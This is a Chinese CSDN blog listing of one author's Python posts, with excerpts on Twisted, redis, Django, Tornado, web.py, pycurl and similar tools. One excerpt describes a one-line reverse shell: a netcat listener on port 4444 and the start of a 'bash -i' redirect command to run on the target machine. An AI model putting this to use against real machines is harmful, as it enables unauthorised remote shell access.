![](https://img-blog.csdnimg.cn/20201014180756927.png?x-oss-process=image/resize,m_fixed,h_64,w_64)
python
文章平均质量分 59
tudoutest
这个作者很懒,什么都没留下…
展开
-
ubuntu 上安装pycurl
我 是 在 8。04上 安装的 装了 easy_installl后 sudo easy_install pycurl了 #by:pako #email:zealzpc@gmail.com 开始 老是报要 File "/usr/local/lib/python2.6/dist-packages/setuptools-0.6c9-py2.6.egg/setuptools/sandbo...原创 2009-12-31 00:15:00 · 121 阅读 · 0 评论 -
ubuntu 上安装pycurl
我 是 在 8。04上 安装的装了 easy_installl后 sudo easy_install pycurl了开始 老是报要 File "/usr/local/lib/python2.6/dist-packages/setuptools-0.6c9-py2.6.egg/setuptools/sandbox.py", line 29, in <lambda> File "set...原创 2011-07-12 11:20:06 · 116 阅读 · 0 评论 -
twisted简单实现多线程,轮询,后台daemon运行
[code="python"] from twisted.application import service, internet from twisted.internet import reactor import time i=0 def writedata(): global i i+=1 a=i print 'waiting to wri...原创 2011-03-29 11:25:58 · 208 阅读 · 0 评论 -
对twisted 中deferred异步的理解
最近小试了下twisted,还是发现用起来挺方便的,加之本身就是python开发的,用来开发一些server还是很效率,主要是twisted把很多事都帮你处理好了。 最后看了http://twistedmatrix.com/documents/current/core/howto/gendefer.html后发现 deferred主要做的事情就是将一些可能会耗时,会阻塞主线程的事放到另...原创 2011-03-29 15:38:55 · 105 阅读 · 0 评论 -
redis set轻松做排行榜应用
Author:pako email:zealzpc@gmail.com 最近项目有很多功能要做类似排行榜的功能,当然其实用python来做不难,不过因为排行榜的数据是要做持久化存在数据库里的,如果每次用sql 去查询在做排序 当数据量多起来后会性能很差,而且毕竟还要自己去写相应的操作特别是要查询一个数据前后名次的数据会很繁琐。 当然我写这篇文章就是因为发现了一个好用的工具,它就是red...原创 2012-05-31 20:23:48 · 467 阅读 · 0 评论 -
python使用redis 神器 ---redisco(一)
很久没认真推荐过东西了,实在是人懒也没以前那么有心思去研究新东西,其实本文要推荐的玩意儿也不是自己发现的,是一为技术宅同事瞎逛github后发现推荐给我的。 好了废话不多说,直接进正题。今天我要推荐的是一款python的redis工具。看到这里肯定很多人就要喷了,redis官方本来就有python的第三方库(redis)了为什么还要你来推荐。行,别急,听我先解释redisco的不同...原创 2012-07-07 22:42:55 · 323 阅读 · 0 评论 -
进程管理工具 supervisor
经常在服务器上会启动很多程序,然后重启一下又要一个个重新启动,每次还要把他们都变成守护进程放到后台去。有的程序框架可能是支持daemon的,没有的时候大家偷懒都会用 nohup,screen等命令。但是当这种程序多的时候要一个个启动本身就是一件很反人类的事。supervisor可以帮你来管理这些进程 启动,重启,停止 ,你所要做的只是配置supervisord.conf 这个配置文件。 ...原创 2013-03-14 12:01:52 · 122 阅读 · 0 评论 -
使用redisco轻松将python内置数据类型存入redis内
我在之前的 <python使用redis 神器 ---redisco(一)>中已经简单介绍了redisco这个python的redis库的特点。 接下来这篇文章想着重分享一下如何将python内置的数据类型通过redisco存储到redis内,实现方便的存取和原子化操作,而不用去关心存储在redis里的数据会因为多进程(线程)需要添加“锁”这种繁琐的操作。 我先讲下我当时...原创 2012-07-26 23:12:57 · 392 阅读 · 0 评论 -
小记 django 1.4的变化
最近因为公司游戏功能逐渐到了收尾阶段也算空下来点了,就索性想尝试下将自己网站的一部分页面用bootstrap 重写了下,因为自己写页面的水平一般,所以也就是看着firebug平平凑凑的完成了前端的改版,结果看上去也算整洁和简单。 后端方面我也从django1.2 升级到了1.4 。当然如果你好奇为什么,其实我也给不出你答案,仅仅是因为觉得1.5都快出了,就想升级下。 当然因为我事先知道...原创 2012-11-06 23:23:15 · 79 阅读 · 0 评论 -
小谈django 的 cookie和session
本文针对django1.4 周末小闲在家研究了下django的 cookie 和 session,所以写点笔记记录下。 我们先从session 讲起: 如果你想用django自带的session库又一下几点选择 首先你要选择一种session的存储模式: a)database-backed session 存数据库 b)cached ...原创 2012-11-12 00:03:15 · 127 阅读 · 0 评论 -
聊聊 tornado 的异步回调
异步回调程序的原理和写法我不就不介绍了,因为我主要是来吐槽下这种代码风格的。 最近因为追求性能所以去看了下tornado,然后发现这货如果你要利用它的高性能 ,那么你就要写回调代码,跟twisted一样,各种callback。 我们正常的同步代码一般是这样的 res = db.query(...) res2 = dosomething(res) res3 = d...原创 2013-01-17 10:47:35 · 523 阅读 · 0 评论 -
django1.4 问题记录
1 ImportError: Settings cannot be imported, because environment variable DJANGO_SETTINGS_MODULE is undefined. $ which python2.7/usr/bin/python2.7$ export PYTHONPATH=/usr/bin/python2.7:~/(proj...原创 2013-01-28 13:59:25 · 83 阅读 · 0 评论 -
tornado 问题小计
1 tornaod在ubuntu 的安装目录 /usr/local/lib/python2.7/dist-packages/tornado-2.4.1-py2.7.egg/tornado 2关于 robots.txt和favicon.ico settings = { "static_path": os.path.join(os.path.dirname(__file__), "...原创 2013-01-29 12:47:42 · 118 阅读 · 0 评论 -
一句话反射shell
通过一句话反射一个shell 首先你在自己的及其上起一个进程来监听 mypc$ nc -l -v 0.0.0.0 4444 ip就是你自己的ip 端口任意(我这里写的是4444) 注意这个端口不要被自己的防火墙过滤掉 比如ubuntu上可以用 ufw allow 端口号 来打开端口。 后面就是到要反射的及其上输入命令 Bash bash -i >&...原创 2014-12-28 16:13:04 · 872 阅读 · 0 评论 -
使用Twisted Application 框架
翻译by:pako email/gtalk:zealzpc@gtalk.com 目标: 介绍twisted Application 结构 介绍如何使用.tac文件和twistd部署twisted application 介绍twisted services 概要 Twisted application框架负责启动和停止你的应用程序。使用applicati...原创 2011-06-20 15:12:19 · 438 阅读 · 0 评论 -
用twisted创建tcp socket长链接amf server服务
#Author:pako #Email/gtalk:zealzpc@gmail.com 这是pyamf安装包里的例子,总的来说用pyamf来写server的各种例子还是很全的,包括django,gae,twisted,web2py等等,基本python常用的网络框架都有。现在很多网页游戏都是前端flash,那么和server端通信基本就用 amf了,如果server端的功能只是存...原创 2011-06-17 13:45:24 · 207 阅读 · 0 评论 -
twisted:调用deferredlist多线程并发执行任务然后收集结果
最近想通过twisted实现多线程并发去执行一件耗时的事,然后等这些线程都执行完毕后收集他们的结果做一些事。查了下twisted的文档发现deferredlist正好就是做这中事的。附上例子。。。耗时的事用time.sleep来代替了 #! /usr/bin/env python # -*- coding: utf-8 -*- #Author:pako #Email/gtalk...原创 2011-06-09 10:54:24 · 222 阅读 · 0 评论 -
尝试用webpy写了个很山寨的登录页面
[code="python"] #!/usr/bin/env python # -*- coding: utf-8 -*- #author:zeal #只是判断了下有没有cookie,没有就算没登录. import web # For debugging use only web.internalerror = web.debugerror render = web.temp...原创 2010-01-19 17:25:47 · 137 阅读 · 0 评论 -
webpy做的摄像头截图
每次刷新会用摄像头截一张图,然后返回(网上不是有一个页面一直挂着美国一个街头的摄像头嘛,很多人应该看过).随便写着玩的,所以没注意性能什么的. [code="python"] #! /usr/bin/env python # -*- coding: UTF-8 -*- #by:pako #email:zealzpc@gmail.com import os, re, sys,ty...原创 2010-01-19 18:58:15 · 79 阅读 · 0 评论 -
pycul写的对url地址的性能测试脚本
性能测试的脚本说明: 这个是对常规的url做性能测试用的. 例子: Python testtype1.py www.tudou.com 3 2 result.log 第一个参数可以是一个url 最好不要带&符号…如果url要带&符号 请用~amp; 代替 第二个参数 是 几秒后开始 第三个参数是 并发 个数(根据我在做当时直播服务器时测试的感觉,这个参数最大值在150...原创 2010-01-20 15:33:26 · 127 阅读 · 0 评论 -
python获得外网IP地址的脚本
[code="python"] #!/usr/bin/python #coding=utf-8 import socket import re def getip(): names,aliases,ips = socket.gethostbyname_ex(socket.gethostname()) for ip in ips : i...原创 2010-01-20 18:15:40 · 289 阅读 · 1 评论 -
python开发环境Eclipse+pydev字体和颜色设置方法(另附pydev安装方法)
python开发环境Eclipse+pydev字体和颜色设置方法(另附pydev安装方法) by:pako email:zealzpc@gmail.com pydev python在eclipse下的开发插件 下载地址:http://pydev.sourceforge.net/download.html 点击SourceForge download Requirements: ...原创 2010-01-20 18:18:21 · 370 阅读 · 0 评论 -
python 操作ie 登陆土豆再退出
[code="python"] # -*- coding: utf-8 -*- #by:pako #email:zealzpc@gmail.com import win32com.client import time ie6=win32com.client.Dispatch("InternetExplorer.Application") ie6.Naviga...2010-05-05 12:07:34 · 76 阅读 · 0 评论 -
python 绑定进程在某个cpu上执行-affinity
因为最近在看multiprocessing 所以想看看多进程在多cpu机器上的利用率.然后早上写了个脚本在i5(4核),起了4个进程,发现只有一颗cpu跑的比较高,然后觉得不是很舒服. 开始还不知道就在晚上找是不是有什么方法可以指定某个cpu去执行一个进程,后来发现python有个第三方的库http://pypi.python.org/pypi/affinity/0.1.0,可以做这件事.看...2010-05-05 18:39:00 · 1054 阅读 · 0 评论 -
用python解析html--SGMLParser
sgmllib.py 包含一个重要的类: SGMLParser。SGMLParser 将 HTML 分解成有用的片段, 比如开始标记和结束标记。一旦它成功地分解出某个数据为一个有用的片段,它会根据 所发现的数据,调用一个自身内部的方法。为了使用这个分析器,您需要子类化 SGML- Parser类,并且覆盖这些方法。 SGMLParser类里面包含了很多内部方法,开始读取html后,遇到相应的...原创 2010-02-09 11:42:28 · 254 阅读 · 0 评论 -
[转]Python 网络爬虫
[code="python"] #FileName: toolbox_insight.py from sgmllib import SGMLParser import threading import time import urllib2 import StringIO import gzip import string import os #rewrite SGMLPars...原创 2010-02-09 11:44:27 · 76 阅读 · 0 评论 -
PycURL:获取响应的一些信息
通过 pycurl.Curl 对象的 getinfo 函数,可以获取到响应的如下信息: (参考: http://curl.haxx.se/libcurl/c/curl_easy_getinfo.html ) pycurl.NAMELOOKUP_TIME 域名解析时间 pycurl.CONNECT_TIME ...原创 2010-02-09 11:47:30 · 324 阅读 · 0 评论 -
django.utils._os 中 safe_join 函数 windows下总报ValueError异常
最近无聊在家看看django,在做第七章那个gallery例子的时候,因为我实在windows下鼓弄,在设置图片上传到电脑里那里时,我在setting.py中 将MEDIA_ROOT = 'D:' 设为d盘,然后 model.py中 image=models.ImageField(upload_to='photo') 等我去admin管理页面里添加数据的时候老是报 Attempted ac...原创 2011-01-20 17:20:09 · 415 阅读 · 0 评论 -
《django web开发指南》在v1.2.4版本上的出入
第145页 第七行 在MIDDLEWARE_CLASSES 设置,添加django.contrib.flatpages.middleware 按着做对于django V1.2.4来说会报无法导入中间层的class,发现将之改成django.contrib.flatpages.middleware.FlatpageFallbackMiddleware 就可以了...原创 2011-01-25 00:44:52 · 68 阅读 · 0 评论 -
永久修改python默认的字符编码为utf-8
这个修改说来简单,其实不同的系统,修改起来还真不一样。下面来罗列下3中情况 首先所有修改的动作都是要创建一个叫 sitecustomize.py的文件,为什么要创建这个文件呢,是因为python在启动的时候会去load的这个文件,所以你如果要修改一些启动的变量就可以把操作写在这个文件。 修改默认字符编码的代码很简单就2行: # sitecustomize.py ...原创 2011-08-19 14:06:14 · 1627 阅读 · 0 评论 -
微信公共平台框架-python(支持多账号)
email:zealzpc@gmail.com 因为微信公共号开发模式只能连接80端口 所以如果需要一个服务器跑多个公共号就需要代码内部自己做分发。因为自己对微信公共号的接口都比较熟悉加上不复杂就自己写了个库,基于tornado的,写完后直接运行就可以了,还比较方便。 github:https://github.com/pakoo/pywechat 整个项目就一个文件 ...原创 2014-04-15 15:39:32 · 275 阅读 · 0 评论